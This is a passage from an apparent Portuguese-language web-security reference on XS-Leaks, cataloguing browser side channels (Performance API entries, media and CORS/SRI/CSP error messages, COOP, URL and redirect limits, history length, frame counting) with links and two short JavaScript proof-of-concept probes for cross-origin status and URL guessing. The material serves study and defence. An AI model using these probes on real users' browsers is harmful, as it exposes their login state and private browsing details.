|
* **Detectable Difference**: Status Code
|
|
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
|
* **Summary:** Devido a um bug do navegador, requisições que resultam em erros são carregadas duas vezes.
|
|
* **Code Example**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak)
|
|
|
|
Na técnica anterior, também foram identificados dois casos onde bugs do navegador no GC levam a **recursos sendo carregados duas vezes quando falham ao carregar**. Isso resultará em múltiplas entradas na Performance API e pode, portanto, ser detectado.
|
|
|
|
### Request Merging Error
|
|
|
|
* **Inclusion Methods**: HTML Elements
|
|
* **Detectable Difference**: Status Code
|
|
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
|
* **Summary:** Requisições que resultam em um erro não podem ser mescladas.
|
|
* **Code Example**: [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
|
|
|
|
A técnica foi encontrada em uma tabela no artigo mencionado, mas nenhuma descrição da técnica foi encontrada nele. No entanto, você pode encontrar o código-fonte verificando-o em [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
|
|
|
|
### Empty Page Leak
|
|
|
|
* **Inclusion Methods**: Frames
|
|
* **Detectable Difference**: Page Content
|
|
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
|
* **Summary:** Respostas vazias não criam entradas de tempo de recurso.
|
|
* **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak)
|
|
|
|
Um atacante pode detectar se uma requisição resultou em um corpo de resposta HTTP vazio porque **páginas vazias não criam uma entrada de desempenho em alguns navegadores**.
|
|
|
|
### **XSS-Auditor Leak**
|
|
|
|
* **Inclusion Methods**: Frames
|
|
* **Detectable Difference**: Page Content
|
|
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
|
* **Summary:** Usando o XSS Auditor em Security Assertions, os atacantes podem detectar elementos específicos da página da web observando alterações nas respostas quando cargas úteis elaboradas acionam o mecanismo de filtragem do auditor.
|
|
* **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)
|
|
|
|
Em Security Assertions (SA), o XSS Auditor, originalmente destinado a prevenir ataques de Cross-Site Scripting (XSS), pode paradoxalmente ser explorado para vazar informações sensíveis. Embora esse recurso embutido tenha sido removido do Google Chrome (GC), ainda está presente no SA. Em 2013, Braun e Heiderich demonstraram que o XSS Auditor poderia inadvertidamente bloquear scripts legítimos, levando a falsos positivos. Com base nisso, pesquisadores desenvolveram técnicas para extrair informações e detectar conteúdo específico em páginas de origem cruzada, um conceito conhecido como XS-Leaks, inicialmente relatado por Terada e elaborado por Heyes em um post de blog. Embora essas técnicas fossem específicas para o XSS Auditor no GC, foi descoberto que no SA, páginas bloqueadas pelo XSS Auditor não geram entradas na Performance API, revelando um método pelo qual informações sensíveis ainda podem ser vazadas.
|
|
|
|
### X-Frame Leak
|
|
|
|
* **Inclusion Methods**: Frames
|
|
* **Detectable Difference**: Header
|
|
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2), [https://xsleaks.github.io/xsleaks/examples/x-frame/index.html](https://xsleaks.github.io/xsleaks/examples/x-frame/index.html), [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options)
|
|
* **Summary:** Recurso com cabeçalho X-Frame-Options não cria entrada de tempo de recurso.
|
|
* **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak)
|
|
|
|
Se uma página **não é permitida** a ser **renderizada** em um **iframe**, ela **não cria uma entrada de desempenho**. Como resultado, um atacante pode detectar o cabeçalho de resposta **`X-Frame-Options`**.\
|
|
O mesmo acontece se você usar uma **tag embed**.
|
|
|
|
### Download Detection
|
|
|
|
* **Inclusion Methods**: Frames
|
|
* **Detectable Difference**: Header
|
|
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
|
* **Summary:** Downloads não criam entradas de tempo de recurso na Performance API.
|
|
* **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)
|
|
|
|
Similar ao XS-Leak descrito, um **recurso que é baixado** por causa do cabeçalho ContentDisposition, também **não cria uma entrada de desempenho**. Essa técnica funciona em todos os principais navegadores.
|
|
|
|
### Redirect Start Leak
|
|
|
|
* **Inclusion Methods**: Frames
|
|
* **Detectable Difference**: Redirect
|
|
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
|
* **Summary:** Entrada de tempo de recurso vaza o tempo de início de um redirecionamento.
|
|
* **Code Example**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)
|
|
|
|
Encontramos uma instância de XS-Leak que abusa do comportamento de alguns navegadores que registram informações demais para requisições de origem cruzada. O padrão define um subconjunto de atributos que devem ser definidos como zero para recursos de origem cruzada. No entanto, no **SA**, é possível detectar se o usuário foi **redirecionado** pela página alvo, consultando a **Performance API** e verificando os dados de **tempo de redirecionamento**.
|
|
|
|
### Duration Redirect Leak
|
|
|
|
* **Inclusion Methods**: Fetch API
|
|
* **Detectable Difference**: Redirect
|
|
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
|
* **Summary:** A duração das entradas de tempo é negativa quando ocorre um redirecionamento.
|
|
* **Code Example**: [https://xsinator.com/testing.html#Duration%20Redirect%20Leak](https://xsinator.com/testing.html#Duration%20Redirect%20Leak)
|
|
|
|
No GC, a **duração** para requisições que resultam em um **redirecionamento** é **negativa** e pode, portanto, ser **distinguida** de requisições que não resultam em um redirecionamento.
|
|
|
|
### CORP Leak
|
|
|
|
* **Inclusion Methods**: Frames
|
|
* **Detectable Difference**: Header
|
|
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
|
* **Summary:** Recurso protegido com CORP não cria entradas de tempo de recurso.
|
|
* **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak)
|
|
|
|
Em alguns casos, a entrada **nextHopProtocol** pode ser usada como uma técnica de vazamento. No GC, quando o cabeçalho **CORP** está definido, o nextHopProtocol ficará **vazio**. Note que o SA não criará uma entrada de desempenho para recursos habilitados para CORP.
|
|
|
|
### Service Worker
|
|
|
|
* **Inclusion Methods**: Frames
|
|
* **Detectable Difference**: API Usage
|
|
* **More info**: [https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/](https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/)
|
|
* **Summary:** Detectar se um service worker está registrado para uma origem específica.
|
|
* **Code Example**:
|
|
|
|
Service workers são contextos de script acionados por eventos que rodam em uma origem. Eles rodam em segundo plano de uma página web e podem interceptar, modificar e **armazenar recursos** para criar aplicações web offline.\
|
|
Se um **recurso armazenado** por um **service worker** for acessado via **iframe**, o recurso será **carregado do cache do service worker**.\
|
|
Para detectar se o recurso foi **carregado do cache do service worker**, a **Performance API** pode ser usada.\
|
|
Isso também poderia ser feito com um ataque de Timing (ver o artigo para mais informações).
|
|
|
|
### Cache
|
|
|
|
* **Inclusion Methods**: Fetch API
|
|
* **Detectable Difference**: Timing
|
|
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources)
|
|
* **Summary:** É possível verificar se um recurso foi armazenado no cache.
|
|
* **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources), [https://xsinator.com/testing.html#Cache%20Leak%20(POST)](https://xsinator.com/testing.html#Cache%20Leak%20\(POST\))
|
|
|
|
Usando a [Performance API](xs-search.md#performance-api), é possível verificar se um recurso está em cache.
|
|
|
|
### Network Duration
|
|
|
|
* **Inclusion Methods**: Fetch API
|
|
* **Detectable Difference**: Page Content
|
|
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
|
|
* **Summary:** É possível recuperar a duração da rede de uma requisição da API `performance`.
|
|
* **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
|
|
|
|
## Error Messages Technique
|
|
|
|
### Media Error
|
|
|
|
* **Inclusion Methods**: HTML Elements (Video, Audio)
|
|
* **Detectable Difference**: Status Code
|
|
* **More info**: [https://bugs.chromium.org/p/chromium/issues/detail?id=828265](https://bugs.chromium.org/p/chromium/issues/detail?id=828265)
|
|
* **Summary:** No Firefox é possível vazar com precisão o código de status de uma requisição de origem cruzada.
|
|
* **Code Example**: [https://jsbin.com/nejatopusi/1/edit?html,css,js,output](https://jsbin.com/nejatopusi/1/edit?html,css,js,output)
|
|
```javascript
|
|
// Code saved here in case it dissapear from the link
|
|
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
|
|
window.addEventListener("load", startup, false);
|
|
function displayErrorMessage(msg) {
|
|
document.getElementById("log").innerHTML += msg;
|
|
}
|
|
|
|
function startup() {
|
|
let audioElement = document.getElementById("audio");
|
|
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
|
|
document.getElementById("startTest").addEventListener("click", function() {
|
|
audioElement.src = document.getElementById("testUrl").value;
|
|
}, false);
|
|
// Create the event handler
|
|
var errHandler = function() {
|
|
let err = this.error;
|
|
let message = err.message;
|
|
let status = "";
|
|
|
|
// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
|
|
// Firefox error.message when the request loads successfully: "Failed to init decoder"
|
|
if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
|
|
status = "Success";
|
|
}else{
|
|
status = "Error";
|
|
}
|
|
displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
|
|
};
|
|
audioElement.onerror = errHandler;
|
|
}
|
|
```
|
|
A propriedade message da interface `MediaError` identifica de forma única recursos que carregam com sucesso com uma string distinta. Um atacante pode explorar esse recurso observando o conteúdo da mensagem, deduzindo assim o status de resposta de um recurso de origem cruzada.
|
|
|
|
### Erro CORS
|
|
|
|
* **Métodos de Inclusão**: Fetch API
|
|
* **Diferença Detectável**: Cabeçalho
|
|
* **Mais informações**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
|
|
* **Resumo:** Em Aserções de Segurança (SA), mensagens de erro CORS expõem inadvertidamente a URL completa de solicitações redirecionadas.
|
|
* **Exemplo de Código**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)
|
|
|
|
Essa técnica permite que um atacante **extraia o destino de um redirecionamento de um site de origem cruzada** explorando como navegadores baseados em Webkit lidam com solicitações CORS. Especificamente, quando uma **solicitação habilitada para CORS** é enviada a um site-alvo que emite um redirecionamento com base no estado do usuário e o navegador posteriormente nega a solicitação, a **URL completa do alvo do redirecionamento** é divulgada na mensagem de erro. Essa vulnerabilidade não apenas revela o fato do redirecionamento, mas também expõe o endpoint do redirecionamento e quaisquer **parâmetros de consulta sensíveis** que ele possa conter.
|
|
|
|
### Erro SRI
|
|
|
|
* **Métodos de Inclusão**: Fetch API
|
|
* **Diferença Detectável**: Cabeçalho
|
|
* **Mais informações**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
|
|
* **Resumo:** Em Aserções de Segurança (SA), mensagens de erro CORS expõem inadvertidamente a URL completa de solicitações redirecionadas.
|
|
* **Exemplo de Código**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)
|
|
|
|
Um atacante pode explorar **mensagens de erro verbosas** para deduzir o tamanho das respostas de origem cruzada. Isso é possível devido ao mecanismo de Integridade de Sub-recurso (SRI), que usa o atributo de integridade para validar que os recursos buscados, frequentemente de CDNs, não foram adulterados. Para que o SRI funcione em recursos de origem cruzada, estes devem ser **habilitados para CORS**; caso contrário, não estão sujeitos a verificações de integridade. Em Aserções de Segurança (SA), assim como no erro CORS XS-Leak, uma mensagem de erro pode ser capturada após uma solicitação fetch com um atributo de integridade falhar. Os atacantes podem deliberadamente **disparar esse erro** atribuindo um **valor de hash falso** ao atributo de integridade de qualquer solicitação. Em SA, a mensagem de erro resultante revela inadvertidamente o comprimento do conteúdo do recurso solicitado. Essa vazamento de informação permite que um atacante discernir variações no tamanho da resposta, abrindo caminho para ataques sofisticados de XS-Leak.
|
|
|
|
### Violação/Detecção CSP
|
|
|
|
* **Métodos de Inclusão**: Pop-ups
|
|
* **Diferença Detectável**: Código de Status
|
|
* **Mais informações**: [https://bugs.chromium.org/p/chromium/issues/detail?id=313737](https://bugs.chromium.org/p/chromium/issues/detail?id=313737), [https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html](https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html), [https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects)
|
|
* **Resumo:** Permitindo apenas o site da vítima na CSP, se tentarmos redirecionar para um domínio diferente, a CSP acionará um erro detectável.
|
|
* **Exemplo de Código**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)
|
|
|
|
Um XS-Leak pode usar a CSP para detectar se um site de origem cruzada foi redirecionado para uma origem diferente. Esse vazamento pode detectar o redirecionamento, mas, adicionalmente, o domínio do alvo do redirecionamento vaza. A ideia básica desse ataque é **permitir o domínio alvo no site do atacante**. Uma vez que uma solicitação é emitida para o domínio alvo, ele **redireciona** para um domínio de origem cruzada. **A CSP bloqueia** o acesso a ele e cria um **relatório de violação usado como técnica de vazamento**. Dependendo do navegador, **esse relatório pode vazar a localização alvo do redirecionamento**.\
|
|
Navegadores modernos não indicarão a URL para a qual foi redirecionado, mas você ainda pode detectar que um redirecionamento de origem cruzada foi acionado.
|
|
|
|
### Cache
|
|
|
|
* **Métodos de Inclusão**: Frames, Pop-ups
|
|
* **Diferença Detectável**: Conteúdo da Página
|
|
* **Mais informações**: [https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events](https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events), [https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html](https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html)
|
|
* **Resumo:** Limpe o arquivo do cache. Abre a página alvo e verifica se o arquivo está presente no cache.
|
|
* **Exemplo de Código:**
|
|
|
|
Os navegadores podem usar um cache compartilhado para todos os sites. Independentemente de sua origem, é possível deduzir se uma página alvo **solicitou um arquivo específico**.
|
|
|
|
Se uma página carrega uma imagem apenas se o usuário estiver logado, você pode **invalidar** o **recurso** (para que não esteja mais em cache, veja mais informações nos links), **fazer uma solicitação** que poderia carregar esse recurso e tentar carregar o recurso **com uma solicitação inválida** (por exemplo, usando um cabeçalho referer excessivamente longo). Se o carregamento do recurso **não disparou nenhum erro**, é porque ele foi **cacheado**.
|
|
|
|
### Diretiva CSP
|
|
|
|
* **Métodos de Inclusão**: Frames
|
|
* **Diferença Detectável**: Cabeçalho
|
|
* **Mais informações**: [https://bugs.chromium.org/p/chromium/issues/detail?id=1105875](https://bugs.chromium.org/p/chromium/issues/detail?id=1105875)
|
|
* **Resumo:** As diretivas de cabeçalho CSP podem ser sondadas usando o atributo iframe CSP, revelando detalhes da política.
|
|
* **Exemplo de Código**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)
|
|
|
|
Um recurso novo no Google Chrome (GC) permite que páginas da web **proponham uma Política de Segurança de Conteúdo (CSP)** definindo um atributo em um elemento iframe, com as diretivas da política transmitidas junto com a solicitação HTTP. Normalmente, o conteúdo incorporado deve **autorizar isso via um cabeçalho HTTP**, ou uma **página de erro é exibida**. No entanto, se o iframe já for regido por uma CSP e a nova política proposta não for mais restritiva, a página será carregada normalmente. Esse mecanismo abre um caminho para um atacante **detectar diretivas CSP específicas** de uma página de origem cruzada identificando a página de erro. Embora essa vulnerabilidade tenha sido marcada como corrigida, nossas descobertas revelam uma **nova técnica de vazamento** capaz de detectar a página de erro, sugerindo que o problema subjacente nunca foi totalmente resolvido.
|
|
|
|
### **CORP**
|
|
|
|
* **Métodos de Inclusão**: Fetch API
|
|
* **Diferença Detectável**: Cabeçalho
|
|
* **Mais informações**: [**https://xsleaks.dev/docs/attacks/browser-features/corp/**](https://xsleaks.dev/docs/attacks/browser-features/corp/)
|
|
* **Resumo:** Recursos protegidos com a Política de Recursos de Origem Cruzada (CORP) gerarão um erro quando buscados de uma origem não permitida.
|
|
* **Exemplo de Código**: [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak)
|
|
|
|
O cabeçalho CORP é um recurso de segurança da plataforma web relativamente novo que, quando definido, **bloqueia solicitações de origem cruzada sem CORS para o recurso dado**. A presença do cabeçalho pode ser detectada, pois um recurso protegido com CORP **gerará um erro quando buscado**.
|
|
|
|
### CORB
|
|
|
|
* **Métodos de Inclusão**: Elementos HTML
|
|
* **Diferença Detectável**: Cabeçalhos
|
|
* **Mais informações**: [https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header](https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header)
|
|
* **Resumo**: CORB pode permitir que atacantes detectem quando o **cabeçalho `nosniff` está presente** na solicitação.
|
|
* **Exemplo de Código**: [https://xsinator.com/testing.html#CORB%20Leak](https://xsinator.com/testing.html#CORB%20Leak)
|
|
|
|
Verifique o link para mais informações sobre o ataque.
|
|
|
|
### Erro CORS na má configuração de Reflexão de Origem <a href="#cors-error-on-origin-reflection-misconfiguration" id="cors-error-on-origin-reflection-misconfiguration"></a>
|
|
|
|
* **Métodos de Inclusão**: Fetch API
|
|
* **Diferença Detectável**: Cabeçalhos
|
|
* **Mais informações**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
|
|
* **Resumo**: Se o cabeçalho Origin for refletido no cabeçalho `Access-Control-Allow-Origin`, é possível verificar se um recurso já está no cache.
|
|
* **Exemplo de Código**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
|
|
|
|
Caso o **cabeçalho Origin** esteja sendo **refletido** no cabeçalho `Access-Control-Allow-Origin`, um atacante pode abusar desse comportamento para tentar **buscar** o **recurso** em modo **CORS**. Se um **erro** **não for** disparado, significa que foi **recuperado corretamente da web**, se um erro **for disparado**, é porque foi **acessado do cache** (o erro aparece porque o cache salva uma resposta com um cabeçalho CORS permitindo o domínio original e não o domínio do atacante)**.**\
|
|
Observe que se a origem não for refletida, mas um curinga for usado (`Access-Control-Allow-Origin: *`), isso não funcionará.
|
|
|
|
## Técnica de Atributos Legíveis
|
|
|
|
### Redirecionamento Fetch
|
|
|
|
* **Métodos de Inclusão**: Fetch API
|
|
* **Diferença Detectável**: Código de Status
|
|
* **Mais informações**: [https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html](https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html)
|
|
* **Resumo:** GC e SA permitem verificar o tipo de resposta (opaque-redirect) após o redirecionamento ser concluído.
|
|
* **Exemplo de Código**: [https://xsinator.com/testing.html#Fetch%20Redirect%20Leak](https://xsinator.com/testing.html#Fetch%20Redirect%20Leak)
|
|
|
|
Submetendo uma solicitação usando a Fetch API com `redirect: "manual"` e outros parâmetros, é possível ler o atributo `response.type` e, se for igual a `opaqueredirect`, então a resposta foi um redirecionamento.
|
|
|
|
### COOP
|
|
|
|
* **Métodos de Inclusão**: Pop-ups
|
|
* **Diferença Detectável**: Cabeçalho
|
|
* **Mais informações**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.4), [https://xsleaks.dev/docs/attacks/window-references/](https://xsleaks.dev/docs/attacks/window-references/)
|
|
* **Resumo:** Páginas protegidas pela Política de Abertura de Origem Cruzada (COOP) impedem o acesso de interações de origem cruzada.
|
|
* **Exemplo de Código**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)
|
|
|
|
Um atacante é capaz de deduzir a presença do cabeçalho da Política de Abertura de Origem Cruzada (COOP) em uma resposta HTTP de origem cruzada. O COOP é utilizado por aplicações web para impedir que sites externos obtenham referências de janela arbitrárias. A visibilidade desse cabeçalho pode ser discernida ao tentar acessar a **referência `contentWindow`**. Em cenários onde o COOP é aplicado condicionalmente, a **propriedade `opener`** se torna um indicador revelador: ela é **indefinida** quando o COOP está ativo e **definida** em sua ausência.
|
|
|
|
### Comprimento Máximo da URL - Lado do Servidor
|
|
|
|
* **Métodos de Inclusão**: Fetch API, Elementos HTML
|
|
* **Diferença Detectável**: Código de Status / Conteúdo
|
|
* **Mais informações**: [https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects](https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects)
|
|
* **Resumo:** Detectar diferenças nas respostas porque o comprimento da resposta de redirecionamento pode ser tão grande que o servidor responde com um erro e um alerta é gerado.
|
|
* **Exemplo de Código**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)
|
|
|
|
Se um redirecionamento do lado do servidor usar **entrada do usuário dentro do redirecionamento** e **dados extras**. É possível detectar esse comportamento porque geralmente **servidores** têm um **limite de comprimento de solicitação**. Se os **dados do usuário** forem **esse comprimento - 1**, porque o **redirecionamento** está usando **esses dados** e **adicionando** algo **extra**, isso acionará um **erro detectável via Eventos de Erro**.
|
|
|
|
Se você puder de alguma forma definir cookies para um usuário, também pode realizar esse ataque **definindo cookies suficientes** ([**cookie bomb**](hacking-with-cookies/cookie-bomb.md)) para que, com o **tamanho da resposta aumentada** da **resposta correta**, um **erro** seja acionado. Nesse caso, lembre-se de que, se você disparar essa solicitação de um mesmo site, `<script>` enviará automaticamente os cookies (para que você possa verificar erros).\
|
|
Um exemplo de **cookie bomb + XS-Search** pode ser encontrado na solução pretendida deste relatório: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
|
|
|
|
`SameSite=None` ou estar no mesmo contexto geralmente é necessário para esse tipo de ataque.
|
|
|
|
### Comprimento Máximo da URL - Lado do Cliente
|
|
|
|
* **Métodos de Inclusão**: Pop-ups
|
|
* **Diferença Detectável**: Código de Status / Conteúdo
|
|
* **Mais informações**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
|
|
* **Resumo:** Detectar diferenças nas respostas porque o comprimento da resposta de redirecionamento pode ser muito grande para uma solicitação que uma diferença pode ser notada.
|
|
* **Exemplo de Código**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
|
|
|
|
De acordo com a [documentação do Chromium](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url_display_guidelines/url_display_guidelines.md#URL-Length), o comprimento máximo da URL do Chrome é 2MB.
|
|
|
|
> Em geral, a _plataforma web_ não tem limites no comprimento das URLs (embora 2^31 seja um limite comum). _Chrome_ limita as URLs a um comprimento máximo de **2MB** por razões práticas e para evitar causar problemas de negação de serviço na comunicação entre processos.
|
|
|
|
Portanto, se a **URL de redirecionamento respondida for maior em um dos casos**, é possível fazê-la redirecionar com uma **URL maior que 2MB** para atingir o **limite de comprimento**. Quando isso acontece, o Chrome mostra uma página **`about:blank#blocked`**.
|
|
|
|
A **diferença notável** é que, se o **redirecionamento** foi **concluído**, `window.origin` gera um **erro** porque uma origem cruzada não pode acessar essa informação. No entanto, se o **limite** foi **atingido** e a página carregada foi **`about:blank#blocked`**, a **origem** da janela permanece a do **pai**, que é uma **informação acessível.**
|
|
|
|
Todas as informações extras necessárias para alcançar os **2MB** podem ser adicionadas via um **hash** na URL inicial, para que sejam **usadas no redirecionamento**.
|
|
|
|
{% content-ref url="xs-search/url-max-length-client-side.md" %}
|
|
[url-max-length-client-side.md](xs-search/url-max-length-client-side.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Máximo de Redirecionamentos
|
|
|
|
* **Métodos de Inclusão**: Fetch API, Frames
|
|
* **Diferença Detectável**: Código de Status
|
|
* **Mais informações**: [https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76)
|
|
* **Resumo:** Use o limite de redirecionamento do navegador para determinar a ocorrência de redirecionamentos de URL.
|
|
* **Exemplo de Código**: [https://xsinator.com/testing.html#Max%20Redirect%20Leak](https://xsinator.com/testing.html#Max%20Redirect%20Leak)
|
|
|
|
Se o **número máximo** de **redirecionamentos** a seguir de um navegador for **20**, um atacante poderia tentar carregar sua página com **19 redirecionamentos** e finalmente **enviar a vítima** para a página testada. Se um **erro** for disparado, então a página estava tentando **redirecionar a vítima**.
|
|
|
|
### Comprimento do Histórico
|
|
|
|
* **Métodos de Inclusão**: Frames, Pop-ups
|
|
* **Diferença Detectável**: Redirecionamentos
|
|
* **Mais informações**: [https://xsleaks.dev/docs/attacks/navigations/](https://xsleaks.dev/docs/attacks/navigations/)
|
|
* **Resumo:** O código JavaScript manipula o histórico do navegador e pode ser acessado pela propriedade length.
|
|
* **Exemplo de Código**: [https://xsinator.com/testing.html#History%20Length%20Leak](https://xsinator.com/testing.html#History%20Length%20Leak)
|
|
|
|
A **API de Histórico** permite que o código JavaScript manipule o histórico do navegador, que **salva as páginas visitadas por um usuário**. Um atacante pode usar a propriedade length como um método de inclusão: para detectar navegação em JavaScript e HTML.\
|
|
**Verificando `history.length`**, fazendo um usuário **navegar** para uma página, **voltando** para a mesma origem e **verificando** o novo valor de **`history.length`**.
|
|
|
|
### Comprimento do Histórico com a mesma URL
|
|
|
|
* **Métodos de Inclusão**: Frames, Pop-ups
|
|
* **Diferença Detectável**: Se a URL é a mesma que a adivinhada
|
|
* **Resumo:** É possível adivinhar se a localização de um frame/pop-up está em uma URL específica abusando do comprimento do histórico.
|
|
* **Exemplo de Código**: Abaixo
|
|
|
|
Um atacante poderia usar código JavaScript para **manipular a localização do frame/pop-up para uma adivinhada** e **imediatamente** **mudá-la para `about:blank`**. Se o comprimento do histórico aumentou, significa que a URL estava correta e teve tempo para **aumentar porque a URL não é recarregada se for a mesma**. Se não aumentou, significa que **tentou carregar a URL adivinhada**, mas porque **imediatamente depois** carregou **`about:blank`**, o **comprimento do histórico nunca aumentou** ao carregar a URL adivinhada.
|
|
```javascript
|
|
async function debug(win, url) {
|
|
win.location = url + '#aaa';
|
|
win.location = 'about:blank';
|
|
await new Promise(r => setTimeout(r, 500));
|
|
return win.history.length;
|
|
}
|
|
|
|
win = window.open("https://example.com/?a=b");
|
|
await new Promise(r => setTimeout(r, 2000));
|
|
console.log(await debug(win, "https://example.com/?a=c"));
|
|
|
|
win.close();
|
|
win = window.open("https://example.com/?a=b");
|
|
await new Promise(r => setTimeout(r, 2000));
|
|
console.log(await debug(win, "https://example.com/?a=b"));
|
|
```
|
|
### Contagem de Frames
|
|
|
|
* **Métodos de Inclusão**: Frames, Pop-ups
|
|
* **Diferença Detectável**: Conteúdo da Página
|
|
* **Mais informações**: [https://xsleaks.dev/docs/attacks/frame-counting/](https://xsleaks.dev/docs/attacks/frame-counting/)
|
|
* **Resumo:** Avalie a quantidade de elementos iframe inspecionando a propriedade `window.length`.
|
|
* **Exemplo de Código**: [https://xsinator.com/testing.html#Frame%20Count%20Leak](https://xsinator.com/testing.html#Frame%20Count%20Leak)
|
|
|
|
Contar o **número de frames em uma web** aberta via `iframe` ou `window.open` pode ajudar a identificar o **status do usuário naquela página**.\
|
|
